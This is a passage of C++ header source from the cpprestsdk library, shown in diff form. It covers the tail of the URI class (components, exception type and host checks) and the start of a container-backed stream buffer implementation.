#include <vector>
|
||||||
|
|
||||||
|
namespace web
|
||||||
|
{
|
||||||
|
namespace details
|
||||||
|
{
|
||||||
|
struct uri_components
|
||||||
|
{
|
||||||
|
uri_components() : m_path(_XPLATSTR("/")), m_port(-1) {}
|
||||||
|
|
||||||
|
uri_components(const uri_components&) = default;
|
||||||
|
uri_components& operator=(const uri_components&) = default;
|
||||||
|
|
||||||
|
// This is for VS2013 compatibility -- replace with '= default' when VS2013 is completely dropped.
|
||||||
|
uri_components(uri_components&& other) CPPREST_NOEXCEPT : m_scheme(std::move(other.m_scheme)),
|
||||||
|
m_host(std::move(other.m_host)),
|
||||||
|
m_user_info(std::move(other.m_user_info)),
|
||||||
|
m_path(std::move(other.m_path)),
|
||||||
|
m_query(std::move(other.m_query)),
|
||||||
|
m_fragment(std::move(other.m_fragment)),
|
||||||
|
m_port(other.m_port)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
// This is for VS2013 compatibility -- replace with '= default' when VS2013 is completely dropped.
|
||||||
|
uri_components& operator=(uri_components&& other) CPPREST_NOEXCEPT
|
||||||
|
{
|
||||||
|
if (this != &other)
|
||||||
|
{
|
||||||
|
m_scheme = std::move(other.m_scheme);
|
||||||
|
m_host = std::move(other.m_host);
|
||||||
|
m_user_info = std::move(other.m_user_info);
|
||||||
|
m_path = std::move(other.m_path);
|
||||||
|
m_query = std::move(other.m_query);
|
||||||
|
m_fragment = std::move(other.m_fragment);
|
||||||
|
m_port = other.m_port;
|
||||||
|
}
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
_ASYNCRTIMP utility::string_t join();
|
||||||
|
|
||||||
|
utility::string_t m_scheme;
|
||||||
|
utility::string_t m_host;
|
||||||
|
utility::string_t m_user_info;
|
||||||
|
utility::string_t m_path;
|
||||||
|
utility::string_t m_query;
|
||||||
|
utility::string_t m_fragment;
|
||||||
|
int m_port;
|
||||||
|
};
|
||||||
|
} // namespace details
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// A single exception type to represent errors in parsing, encoding, and decoding URIs.
|
||||||
|
/// </summary>
|
||||||
|
class uri_exception : public std::exception
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
uri_exception(std::string msg) : m_msg(std::move(msg)) {}
|
||||||
|
|
||||||
|
~uri_exception() CPPREST_NOEXCEPT {}
|
||||||
|
|
||||||
|
const char* what() const CPPREST_NOEXCEPT { return m_msg.c_str(); }
|
||||||
|
|
||||||
|
private:
|
||||||
|
std::string m_msg;
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// A flexible, protocol independent URI implementation.
|
||||||
|
///
|
||||||
|
/// URI instances are immutable. Querying the various fields on an empty URI will return empty strings. Querying
|
||||||
|
/// various diagnostic members on an empty URI will return false.
|
||||||
|
/// </summary>
|
||||||
|
/// <remarks>
|
||||||
|
/// This implementation accepts both URIs ('http://msn.com/path') and URI relative-references
|
||||||
|
/// ('/path?query#frag').
|
||||||
|
///
|
||||||
|
/// This implementation does not provide any scheme-specific handling -- an example of this
|
||||||
|
/// would be the following: 'http://path1/path'. This is a valid URI, but it's not a valid
|
||||||
|
/// http-uri -- that is, it's syntactically correct but does not conform to the requirements
|
||||||
|
/// of the http scheme (http requires a host).
|
||||||
|
/// We could provide this by allowing a pluggable 'scheme' policy-class, which would provide
|
||||||
|
/// extra capability for validating and canonicalizing a URI according to scheme, and would
|
||||||
|
/// introduce a layer of type-safety for URIs of differing schemes, and thus differing semantics.
|
||||||
|
///
|
||||||
|
/// One issue with implementing a scheme-independent URI facility is that of comparing for equality.
|
||||||
|
/// For instance, these URIs are considered equal 'http://msn.com', 'http://msn.com:80'. That is --
|
||||||
|
/// the 'default' port can be either omitted or explicit. Since we don't have a way to map a scheme
|
||||||
|
/// to it's default port, we don't have a way to know these are equal. This is just one of a class of
|
||||||
|
/// issues with regard to scheme-specific behavior.
|
||||||
|
/// </remarks>
|
||||||
|
class uri
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
/// <summary>
|
||||||
|
/// The various components of a URI. This enum is used to indicate which
|
||||||
|
/// URI component is being encoded to the encode_uri_component. This allows
|
||||||
|
/// specific encoding to be performed.
|
||||||
|
///
|
||||||
|
/// Scheme and port don't allow '%' so they don't need to be encoded.
|
||||||
|
/// </summary>
|
||||||
|
class components
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
enum component
|
||||||
|
{
|
||||||
|
user_info,
|
||||||
|
host,
|
||||||
|
path,
|
||||||
|
query,
|
||||||
|
fragment,
|
||||||
|
full_uri
|
||||||
|
};
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Encodes a URI component according to RFC 3986.
|
||||||
|
/// Note if a full URI is specified instead of an individual URI component all
|
||||||
|
/// characters not in the unreserved set are escaped.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="raw">The URI as a string.</param>
|
||||||
|
/// <returns>The encoded string.</returns>
|
||||||
|
_ASYNCRTIMP static utility::string_t __cdecl encode_uri(const utility::string_t& raw,
|
||||||
|
uri::components::component = components::full_uri);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Encodes a string by converting all characters except for RFC 3986 unreserved characters to their
|
||||||
|
/// hexadecimal representation.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The encoded string.</returns>
|
||||||
|
_ASYNCRTIMP static utility::string_t __cdecl encode_data_string(const utility::string_t& data);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Decodes an encoded string.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="encoded">The URI as a string.</param>
|
||||||
|
/// <returns>The decoded string.</returns>
|
||||||
|
_ASYNCRTIMP static utility::string_t __cdecl decode(const utility::string_t& encoded);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Splits a path into its hierarchical components.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="path">The path as a string</param>
|
||||||
|
/// <returns>A <c>std::vector<utility::string_t></c> containing the segments in the path.</returns>
|
||||||
|
_ASYNCRTIMP static std::vector<utility::string_t> __cdecl split_path(const utility::string_t& path);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Splits a query into its key-value components.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="query">The query string</param>
|
||||||
|
/// <returns>A <c>std::map<utility::string_t, utility::string_t></c> containing the key-value components of
|
||||||
|
/// the query.</returns>
|
||||||
|
_ASYNCRTIMP static std::map<utility::string_t, utility::string_t> __cdecl split_query(
|
||||||
|
const utility::string_t& query);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Validates a string as a URI.
|
||||||
|
/// </summary>
|
||||||
|
/// <remarks>
|
||||||
|
/// This function accepts both uris ('http://msn.com') and uri relative-references ('path1/path2?query').
|
||||||
|
/// </remarks>
|
||||||
|
/// <param name="uri_string">The URI string to be validated.</param>
|
||||||
|
/// <returns><c>true</c> if the given string represents a valid URI, <c>false</c> otherwise.</returns>
|
||||||
|
_ASYNCRTIMP static bool __cdecl validate(const utility::string_t& uri_string);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates an empty uri
|
||||||
|
/// </summary>
|
||||||
|
uri() : m_uri(_XPLATSTR("/")) {}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a URI from the given encoded string. This will throw an exception if the string
|
||||||
|
/// does not contain a valid URI. Use uri::validate if processing user-input.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="uri_string">A pointer to an encoded string to create the URI instance.</param>
|
||||||
|
_ASYNCRTIMP uri(const utility::char_t* uri_string);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a URI from the given encoded string. This will throw an exception if the string
|
||||||
|
/// does not contain a valid URI. Use uri::validate if processing user-input.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="uri_string">An encoded URI string to create the URI instance.</param>
|
||||||
|
_ASYNCRTIMP uri(const utility::string_t& uri_string);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Copy constructor.
|
||||||
|
/// </summary>
|
||||||
|
uri(const uri&) = default;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Copy assignment operator.
|
||||||
|
/// </summary>
|
||||||
|
uri& operator=(const uri&) = default;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Move constructor.
|
||||||
|
/// </summary>
|
||||||
|
// This is for VS2013 compatibility -- replace with '= default' when VS2013 is completely dropped.
|
||||||
|
uri(uri&& other) CPPREST_NOEXCEPT : m_uri(std::move(other.m_uri)), m_components(std::move(other.m_components)) {}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Move assignment operator
|
||||||
|
/// </summary>
|
||||||
|
// This is for VS2013 compatibility -- replace with '= default' when VS2013 is completely dropped.
|
||||||
|
uri& operator=(uri&& other) CPPREST_NOEXCEPT
|
||||||
|
{
|
||||||
|
if (this != &other)
|
||||||
|
{
|
||||||
|
m_uri = std::move(other.m_uri);
|
||||||
|
m_components = std::move(other.m_components);
|
||||||
|
}
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the scheme component of the URI as an encoded string.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The URI scheme as a string.</returns>
|
||||||
|
const utility::string_t& scheme() const { return m_components.m_scheme; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the user information component of the URI as an encoded string.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The URI user information as a string.</returns>
|
||||||
|
const utility::string_t& user_info() const { return m_components.m_user_info; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the host component of the URI as an encoded string.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The URI host as a string.</returns>
|
||||||
|
const utility::string_t& host() const { return m_components.m_host; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the port component of the URI. Returns -1 if no port is specified.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The URI port as an integer.</returns>
|
||||||
|
int port() const { return m_components.m_port; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the path component of the URI as an encoded string.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The URI path as a string.</returns>
|
||||||
|
const utility::string_t& path() const { return m_components.m_path; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the query component of the URI as an encoded string.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The URI query as a string.</returns>
|
||||||
|
const utility::string_t& query() const { return m_components.m_query; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the fragment component of the URI as an encoded string.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The URI fragment as a string.</returns>
|
||||||
|
const utility::string_t& fragment() const { return m_components.m_fragment; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a new uri object with the same authority portion as this one, omitting the resource and query portions.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The new uri object with the same authority.</returns>
|
||||||
|
_ASYNCRTIMP uri authority() const;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the path, query, and fragment portion of this uri, which may be empty.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The new URI object with the path, query and fragment portion of this URI.</returns>
|
||||||
|
_ASYNCRTIMP uri resource() const;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// An empty URI specifies no components, and serves as a default value
|
||||||
|
/// </summary>
|
||||||
|
bool is_empty() const { return this->m_uri.empty() || this->m_uri == _XPLATSTR("/"); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// A loopback URI is one which refers to a hostname or ip address with meaning only on the local machine.
|
||||||
|
/// </summary>
|
||||||
|
/// <remarks>
|
||||||
|
/// Examples include "localhost", or ip addresses in the loopback range (127.0.0.0/24).
|
||||||
|
/// </remarks>
|
||||||
|
/// <returns><c>true</c> if this URI references the local host, <c>false</c> otherwise.</returns>
|
||||||
|
bool is_host_loopback() const
|
||||||
|
{
|
||||||
|
return !is_empty() &&
|
||||||
|
((host() == _XPLATSTR("localhost")) || (host().size() > 4 && host().substr(0, 4) == _XPLATSTR("127.")));
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// A wildcard URI is one which refers to all hostnames that resolve to the local machine (using the * or +)
|
||||||
|
/// </summary>
|
||||||
|
/// <example>
|
||||||
|
/// http://*:80
|
||||||
|
/// </example>
|
||||||
|
bool is_host_wildcard() const
|
||||||
|
{
|
||||||
|
return !is_empty() && (this->host() == _XPLATSTR("*") || this->host() == _XPLATSTR("+"));
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// A portable URI is one with a hostname that can be resolved globally (used from another machine).
|
||||||
|
/// </summary>
|
||||||
|
/// <returns><c>true</c> if this URI can be resolved globally (used from another machine), <c>false</c>
|
||||||
|
/// otherwise.</returns> <remarks> The hostname "localhost" is a reserved name that is guaranteed to resolve to the
|
||||||
|
/// local machine, and cannot be used for inter-machine communication. Likewise the hostnames "*" and "+" on Windows
|
||||||
|
/// represent wildcards, and do not map to a resolvable address.
|
||||||
|
/// </remarks>
|
||||||
|
bool is_host_portable() const { return !(is_empty() || is_host_loopback() || is_host_wildcard()); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// A default port is one where the port is unspecified, and will be determined by the operating system.
|
||||||
|
/// The choice of default port may be dictated by the scheme (http -> 80) or not.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns><c>true</c> if this URI instance has a default port, <c>false</c> otherwise.</returns>
|
||||||
|
bool is_port_default() const { return !is_empty() && this->port() == 0; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// An "authority" URI is one with only a scheme, optional userinfo, hostname, and (optional) port.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns><c>true</c> if this is an "authority" URI, <c>false</c> otherwise.</returns>
|
||||||
|
bool is_authority() const { return !is_empty() && is_path_empty() && query().empty() && fragment().empty(); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Returns whether the other URI has the same authority as this one
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="other">The URI to compare the authority with.</param>
|
||||||
|
/// <returns><c>true</c> if both the URI's have the same authority, <c>false</c> otherwise.</returns>
|
||||||
|
bool has_same_authority(const uri& other) const { return !is_empty() && this->authority() == other.authority(); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Returns whether the path portion of this URI is empty
|
||||||
|
/// </summary>
|
||||||
|
/// <returns><c>true</c> if the path portion of this URI is empty, <c>false</c> otherwise.</returns>
|
||||||
|
bool is_path_empty() const { return path().empty() || path() == _XPLATSTR("/"); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Returns the full (encoded) URI as a string.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The full encoded URI string.</returns>
|
||||||
|
utility::string_t to_string() const { return m_uri; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Returns an URI resolved against <c>this</c> as the base URI
|
||||||
|
/// according to RFC3986, Section 5 (https://tools.ietf.org/html/rfc3986#section-5).
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="relativeUri">The relative URI to be resolved against <c>this</c> as base.</param>
|
||||||
|
/// <returns>The new resolved URI string.</returns>
|
||||||
|
_ASYNCRTIMP utility::string_t resolve_uri(const utility::string_t& relativeUri) const;
|
||||||
|
|
||||||
|
_ASYNCRTIMP bool operator==(const uri& other) const;
|
||||||
|
|
||||||
|
bool operator<(const uri& other) const { return m_uri < other.m_uri; }
|
||||||
|
|
||||||
|
bool operator!=(const uri& other) const { return !(this->operator==(other)); }
|
||||||
|
|
||||||
|
private:
|
||||||
|
friend class uri_builder;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a URI from the given URI components.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="components">A URI components object to create the URI instance.</param>
|
||||||
|
_ASYNCRTIMP uri(const details::uri_components& components);
|
||||||
|
|
||||||
|
// Used by uri_builder
|
||||||
|
static utility::string_t __cdecl encode_query_impl(const utf8string& raw);
|
||||||
|
|
||||||
|
utility::string_t m_uri;
|
||||||
|
details::uri_components m_components;
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace web
|
|
@ -0,0 +1,590 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
* =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||||||
|
*
|
||||||
|
* This file defines a basic STL-container-based stream buffer. Reading from the buffer will not remove any data
|
||||||
|
* from it and seeking is thus supported.
|
||||||
|
*
|
||||||
|
* For the latest on this and related APIs, please see: https://github.com/Microsoft/cpprestsdk
|
||||||
|
*
|
||||||
|
* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
****/
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/astreambuf.h"
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/streams.h"
|
||||||
|
#include "Common/CppRestSdk/include/pplx/pplxtasks.h"
|
||||||
|
#include <algorithm>
|
||||||
|
#include <iterator>
|
||||||
|
#include <queue>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
namespace Concurrency
|
||||||
|
{
|
||||||
|
namespace streams
|
||||||
|
{
|
||||||
|
// Forward declarations
|
||||||
|
|
||||||
|
template<typename _CollectionType>
|
||||||
|
class container_buffer;
|
||||||
|
|
||||||
|
namespace details
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// The basic_container_buffer class serves as a memory-based steam buffer that supports writing or reading
|
||||||
|
/// sequences of characters.
|
||||||
|
/// The class itself should not be used in application code, it is used by the stream definitions farther down in the
|
||||||
|
/// header file.
|
||||||
|
/// </summary>
|
||||||
|
/// <remarks> When closed, neither writing nor reading is supported any longer. <c>basic_container_buffer</c> does not
|
||||||
|
/// support simultaneous use of the buffer for reading and writing.</remarks>
|
||||||
|
template<typename _CollectionType>
|
||||||
|
class basic_container_buffer : public streams::details::streambuf_state_manager<typename _CollectionType::value_type>
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
typedef typename _CollectionType::value_type _CharType;
|
||||||
|
typedef typename basic_streambuf<_CharType>::traits traits;
|
||||||
|
typedef typename basic_streambuf<_CharType>::int_type int_type;
|
||||||
|
typedef typename basic_streambuf<_CharType>::pos_type pos_type;
|
||||||
|
typedef typename basic_streambuf<_CharType>::off_type off_type;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Returns the underlying data container
|
||||||
|
/// </summary>
|
||||||
|
_CollectionType& collection() { return m_data; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Destructor
|
||||||
|
/// </summary>
|
||||||
|
virtual ~basic_container_buffer()
|
||||||
|
{
|
||||||
|
// Invoke the synchronous versions since we need to
|
||||||
|
// purge the request queue before deleting the buffer
|
||||||
|
this->_close_read();
|
||||||
|
this->_close_write();
|
||||||
|
}
|
||||||
|
|
||||||
|
protected:
|
||||||
|
/// <summary>
|
||||||
|
/// can_seek is used to determine whether a stream buffer supports seeking.
|
||||||
|
/// </summary>
|
||||||
|
virtual bool can_seek() const { return this->is_open(); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// <c>has_size<c/> is used to determine whether a stream buffer supports size().
|
||||||
|
/// </summary>
|
||||||
|
virtual bool has_size() const { return this->is_open(); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the size of the stream, if known. Calls to <c>has_size</c> will determine whether
|
||||||
|
/// the result of <c>size</c> can be relied on.
|
||||||
|
/// </summary>
|
||||||
|
virtual utility::size64_t size() const { return utility::size64_t(m_data.size()); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the stream buffer size, if one has been set.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="direction">The direction of buffering (in or out)</param>
|
||||||
|
/// <remarks>An implementation that does not support buffering will always return '0'.</remarks>
|
||||||
|
virtual size_t buffer_size(std::ios_base::openmode = std::ios_base::in) const { return 0; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets the stream buffer implementation to buffer or not buffer.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="size">The size to use for internal buffering, 0 if no buffering should be done.</param>
|
||||||
|
/// <param name="direction">The direction of buffering (in or out)</param>
|
||||||
|
/// <remarks>An implementation that does not support buffering will silently ignore calls to this function and it
|
||||||
|
/// will not have any effect on what is returned by subsequent calls to <see cref="::buffer_size method"
|
||||||
|
/// />.</remarks>
|
||||||
|
virtual void set_buffer_size(size_t, std::ios_base::openmode = std::ios_base::in) { return; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// For any input stream, <c>in_avail</c> returns the number of characters that are immediately available
|
||||||
|
/// to be consumed without blocking. May be used in conjunction with <cref="::sbumpc method"/> to read data without
|
||||||
|
/// incurring the overhead of using tasks.
|
||||||
|
/// </summary>
|
||||||
|
virtual size_t in_avail() const
|
||||||
|
{
|
||||||
|
// See the comment in seek around the restriction that we do not allow read head to
|
||||||
|
// seek beyond the current write_end.
|
||||||
|
_ASSERTE(m_current_position <= m_data.size());
|
||||||
|
|
||||||
|
msl::safeint3::SafeInt<size_t> readhead(m_current_position);
|
||||||
|
msl::safeint3::SafeInt<size_t> writeend(m_data.size());
|
||||||
|
return (size_t)(writeend - readhead);
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual pplx::task<bool> _sync() { return pplx::task_from_result(true); }
|
||||||
|
|
||||||
|
virtual pplx::task<int_type> _putc(_CharType ch)
|
||||||
|
{
|
||||||
|
int_type retVal = (this->write(&ch, 1) == 1) ? static_cast<int_type>(ch) : traits::eof();
|
||||||
|
return pplx::task_from_result<int_type>(retVal);
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual pplx::task<size_t> _putn(const _CharType* ptr, size_t count)
|
||||||
|
{
|
||||||
|
return pplx::task_from_result<size_t>(this->write(ptr, count));
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Allocates a contiguous memory block and returns it.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="count">The number of characters to allocate.</param>
|
||||||
|
/// <returns>A pointer to a block to write to, null if the stream buffer implementation does not support
|
||||||
|
/// alloc/commit.</returns>
|
||||||
|
_CharType* _alloc(size_t count)
|
||||||
|
{
|
||||||
|
if (!this->can_write()) return nullptr;
|
||||||
|
|
||||||
|
// Allocate space
|
||||||
|
resize_for_write(m_current_position + count);
|
||||||
|
|
||||||
|
// Let the caller copy the data
|
||||||
|
return (_CharType*)&m_data[m_current_position];
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Submits a block already allocated by the stream buffer.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="count">The number of characters to be committed.</param>
|
||||||
|
void _commit(size_t actual)
|
||||||
|
{
|
||||||
|
// Update the write position and satisfy any pending reads
|
||||||
|
update_current_position(m_current_position + actual);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets a pointer to the next already allocated contiguous block of data.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="ptr">A reference to a pointer variable that will hold the address of the block on success.</param>
|
||||||
|
/// <param name="count">The number of contiguous characters available at the address in 'ptr'.</param>
|
||||||
|
/// <returns><c>true</c> if the operation succeeded, <c>false</c> otherwise.</returns>
|
||||||
|
/// <remarks>
|
||||||
|
/// A return of false does not necessarily indicate that a subsequent read operation would fail, only that
|
||||||
|
/// there is no block to return immediately or that the stream buffer does not support the operation.
|
||||||
|
/// The stream buffer may not de-allocate the block until <see cref="::release method" /> is called.
|
||||||
|
/// If the end of the stream is reached, the function will return <c>true</c>, a null pointer, and a count of zero;
|
||||||
|
/// a subsequent read will not succeed.
|
||||||
|
/// </remarks>
|
||||||
|
virtual bool acquire(_Out_ _CharType*& ptr, _Out_ size_t& count)
|
||||||
|
{
|
||||||
|
ptr = nullptr;
|
||||||
|
count = 0;
|
||||||
|
|
||||||
|
if (!this->can_read()) return false;
|
||||||
|
|
||||||
|
count = in_avail();
|
||||||
|
|
||||||
|
if (count > 0)
|
||||||
|
{
|
||||||
|
ptr = (_CharType*)&m_data[m_current_position];
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// Can only be open for read OR write, not both. If there is no data then
|
||||||
|
// we have reached the end of the stream so indicate such with true.
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Releases a block of data acquired using <see cref="::acquire method"/>. This frees the stream buffer to
|
||||||
|
/// de-allocate the memory, if it so desires. Move the read position ahead by the count.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="ptr">A pointer to the block of data to be released.</param>
|
||||||
|
/// <param name="count">The number of characters that were read.</param>
|
||||||
|
virtual void release(_Out_writes_opt_(count) _CharType* ptr, _In_ size_t count)
|
||||||
|
{
|
||||||
|
if (ptr != nullptr) update_current_position(m_current_position + count);
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual pplx::task<size_t> _getn(_Out_writes_(count) _CharType* ptr, _In_ size_t count)
|
||||||
|
{
|
||||||
|
return pplx::task_from_result(this->read(ptr, count));
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t _sgetn(_Out_writes_(count) _CharType* ptr, _In_ size_t count) { return this->read(ptr, count); }
|
||||||
|
|
||||||
|
virtual size_t _scopy(_Out_writes_(count) _CharType* ptr, _In_ size_t count)
|
||||||
|
{
|
||||||
|
return this->read(ptr, count, false);
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual pplx::task<int_type> _bumpc() { return pplx::task_from_result(this->read_byte(true)); }
|
||||||
|
|
||||||
|
virtual int_type _sbumpc() { return this->read_byte(true); }
|
||||||
|
|
||||||
|
virtual pplx::task<int_type> _getc() { return pplx::task_from_result(this->read_byte(false)); }
|
||||||
|
|
||||||
|
int_type _sgetc() { return this->read_byte(false); }
|
||||||
|
|
||||||
|
virtual pplx::task<int_type> _nextc()
|
||||||
|
{
|
||||||
|
this->read_byte(true);
|
||||||
|
return pplx::task_from_result(this->read_byte(false));
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual pplx::task<int_type> _ungetc()
|
||||||
|
{
|
||||||
|
auto pos = seekoff(-1, std::ios_base::cur, std::ios_base::in);
|
||||||
|
if (pos == (pos_type)traits::eof()) return pplx::task_from_result(traits::eof());
|
||||||
|
return this->getc();
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the current read or write position in the stream.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="direction">The I/O direction to seek (see remarks)</param>
|
||||||
|
/// <returns>The current position. EOF if the operation fails.</returns>
|
||||||
|
/// <remarks>Some streams may have separate write and read cursors.
|
||||||
|
/// For such streams, the direction parameter defines whether to move the read or the write
|
||||||
|
/// cursor.</remarks>
|
||||||
|
virtual pos_type getpos(std::ios_base::openmode mode) const
|
||||||
|
{
|
||||||
|
if (((mode & std::ios_base::in) && !this->can_read()) || ((mode & std::ios_base::out) && !this->can_write()))
|
||||||
|
return static_cast<pos_type>(traits::eof());
|
||||||
|
|
||||||
|
return static_cast<pos_type>(m_current_position);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Seeks to the given position.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="pos">The offset from the beginning of the stream.</param>
|
||||||
|
/// <param name="direction">The I/O direction to seek (see remarks).</param>
|
||||||
|
/// <returns>The position. EOF if the operation fails.</returns>
|
||||||
|
/// <remarks>Some streams may have separate write and read cursors. For such streams, the direction parameter
|
||||||
|
/// defines whether to move the read or the write cursor.</remarks>
|
||||||
|
virtual pos_type seekpos(pos_type position, std::ios_base::openmode mode)
|
||||||
|
{
|
||||||
|
pos_type beg(0);
|
||||||
|
|
||||||
|
// In order to support relative seeking from the end position we need to fix an end position.
|
||||||
|
// Technically, there is no end for the stream buffer as new writes would just expand the buffer.
|
||||||
|
// For now, we assume that the current write_end is the end of the buffer. We use this artificial
|
||||||
|
// end to restrict the read head from seeking beyond what is available.
|
||||||
|
|
||||||
|
pos_type end(m_data.size());
|
||||||
|
|
||||||
|
if (position >= beg)
|
||||||
|
{
|
||||||
|
auto pos = static_cast<size_t>(position);
|
||||||
|
|
||||||
|
// Read head
|
||||||
|
if ((mode & std::ios_base::in) && this->can_read())
|
||||||
|
{
|
||||||
|
if (position <= end)
|
||||||
|
{
|
||||||
|
// We do not allow reads to seek beyond the end or before the start position.
|
||||||
|
update_current_position(pos);
|
||||||
|
return static_cast<pos_type>(m_current_position);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Write head
|
||||||
|
if ((mode & std::ios_base::out) && this->can_write())
|
||||||
|
{
|
||||||
|
// Allocate space
|
||||||
|
resize_for_write(pos);
|
||||||
|
|
||||||
|
// Nothing to really copy
|
||||||
|
|
||||||
|
// Update write head and satisfy read requests if any
|
||||||
|
update_current_position(pos);
|
||||||
|
|
||||||
|
return static_cast<pos_type>(m_current_position);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
